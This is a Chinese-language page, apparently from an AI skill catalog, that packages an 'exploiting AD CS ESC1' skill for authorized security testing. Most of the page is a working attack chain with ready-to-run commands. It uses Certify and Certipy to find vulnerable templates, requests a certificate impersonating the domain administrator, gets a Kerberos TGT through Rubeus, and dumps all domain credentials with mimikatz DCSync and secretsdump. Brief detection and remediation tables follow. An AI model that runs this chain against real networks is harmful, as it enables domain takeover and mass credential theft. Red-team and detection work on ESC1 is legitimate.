SuperAPI AI 工具集

exploiting-active-directory-certificate-services-esc1

安全与审计

查看项目

更新于 10-15 14:03

技能介绍

用途

本技能用于在获得授权的安全测试中,利用 Active Directory 证书服务(AD CS)的 ESC1 配置错误漏洞。ESC1 是 AD CS 中的一种严重错误配置:当证书模板启用了 CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT 标志(也称“Supply in Request”),并且扩展密钥用法(EKU)允许客户端身份验证(如 Client Authentication、PKINIT Client Authentication、Smart Card Logon 或 Any Purpose)时,低权限用户即可在证书请求中指定任意 Subject Alternative Name(SAN),从而冒充任意域用户,包括域管理员。该漏洞由 SpecterOps 研究人员 Will Schroeder 和 Lee Christensen 在 2021 年的“Certified Pre-Owned”白皮书中记录,MITRE ATT&CK 将其归类为 T1649(窃取或伪造身份验证证书)。

主要能力

  • 使用 Certify 或 Certipy 枚举 AD CS 基础设施与证书模板
  • 识别启用了“Supply in Request”的易受攻击 ESC1 模板
  • 在 SAN 字段中指定域管理员,申请证书
  • 通过 PKINIT 使用伪造证书进行身份验证,获取 TGT
  • 利用获得的 Kerberos 票据将权限提升至域管理员
  • 记录完整攻击链以供报告

使用方式

阶段 1:AD CS 枚举

枚举域中的证书颁发机构(CA)服务器:

# 使用 Certify(Windows)
Certify.exe cas

# 使用 Certipy(Linux/Python)
certipy find -u user@domain.local -p 'Password123' -dc-ip 10.10.10.1

枚举所有证书模板并识别易受攻击的模板:

# 使用 Certify 查找易受攻击的模板
Certify.exe find /vulnerable

# 使用 Certipy 输出 JSON 和文本报告
certipy find -u user@domain.local -p 'Password123' -dc-ip 10.10.10.1 -vulnerable

验证已识别模板上的 ESC1 条件:

  • msPKI-Certificate-Name-Flag 包含 ENROLLEE_SUPPLIES_SUBJECT
  • pkiExtendedKeyUsage 包含 Client Authentication 或 Smart Card Logon
  • msPKI-Enrollment-Flag 不要求管理员批准
  • 低权限组(Domain Users、Authenticated Users)具有 Enroll 权限

阶段 2:使用任意 SAN 申请证书

使用易受攻击的模板申请证书,在 SAN 中指定域管理员:

# 使用 Certify(Windows)
Certify.exe request /ca:DC01.domain.local\domain-CA /template:VulnerableTemplate /altname:administrator

# 使用 Certipy(Linux)
certipy req -u user@domain.local -p 'Password123' -ca 'domain-CA' -target DC01.domain.local -template VulnerableTemplate -upn administrator@domain.local

CA 将签发一个在 SAN 字段中包含域管理员 UPN 的证书。将输出证书保存为 PFX/PEM 格式。

阶段 3:使用伪造证书进行身份验证

如有需要,转换证书(Certify 输出 PEM,需转换为 PFX):

openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

使用 PKINIT 进行身份验证,获取被冒充用户的 TGT:

# 使用 Rubeus(Windows)
Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /password:<pfx-password> /ptt

# 使用 Certipy(Linux)
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.1

TGT 现已加载到内存中(Windows),或恢复出 NT 哈希(Linux)。

阶段 4:域权限提升

使用域管理员 TGT 执行特权操作:

# 使用 DCSync 导出所有域凭据
mimikatz.exe "lsadump::dcsync /domain:domain.local /all"

# 或使用 secretsdump.py 配合获得的 NT 哈希
secretsdump.py domain.local/administrator@DC01.domain.local -hashes :ntlmhash

验证域管理员访问权限:

# 列出域控制器
dir \\DC01.domain.local\C$

# 访问域管理员共享
dir \\DC01.domain.local\SYSVOL

适用场景

  • 执行涉及利用 AD CS ESC1 的授权安全测试
  • 在受控环境中分析恶意软件样本或攻击痕迹
  • 开展红队演练或渗透测试项目
  • 基于攻击技术理解构建检测能力

限制与前提

  • 需要熟悉红队概念和工具
  • 需要访问测试或实验环境以安全执行
  • 需要 Python 3.8+ 及所需依赖
  • 任何测试活动均需获得适当授权

工具与资源

工具 用途 平台
Certify AD CS 枚举与证书申请 Windows (.NET)
Certipy AD CS 枚举、申请与身份验证 Linux (Python)
Rubeus 使用证书进行 Kerberos 身份验证(PKINIT) Windows (.NET)
Mimikatz 提升后的凭据导出 Windows
secretsdump.py 远程凭据导出(Impacket) Linux (Python)
PSPKIAudit PowerShell AD CS 审计模块 Windows
ForgeCert 证书伪造工具 Windows (.NET)

易受攻击模板指标

条件 易受攻击值
msPKI-Certificate-Name-Flag ENROLLEE_SUPPLIES_SUBJECT (1)
pkiExtendedKeyUsage Client Authentication (1.3.6.1.5.5.7.3.2)
注册权限 Domain Users 或 Authenticated Users
msPKI-Enrollment-Flag 不要求管理员批准
CA 设置 未强制执行批准工作流

检测特征

指标 检测方法
证书请求的 SAN 与请求者不同 CA 服务器上的 Windows 事件 4886 / 4887
异常的 PKINIT 身份验证 带基于证书预认证的事件 4768
Certify.exe 或 Certipy 执行 EDR 进程监控与命令行日志记录
大规模证书模板枚举 对 pkiCertificateTemplate 对象的 LDAP 查询监控
证书签发给不匹配的 UPN CA 审计日志与证书透明度

验证标准

  • 已枚举 AD CS 证书颁发机构
  • 已使用 Certify 或 Certipy 识别出易受攻击的 ESC1 模板
  • 已成功申请带有域管理员 SAN 的证书
  • 已使用伪造证书执行 PKINIT 身份验证
  • 已获得域管理员 TGT
  • 已验证对域控制器的特权访问
  • 已记录带证据的完整攻击链
  • 已提供修复建议(禁用 Supply in Request、要求管理员批准)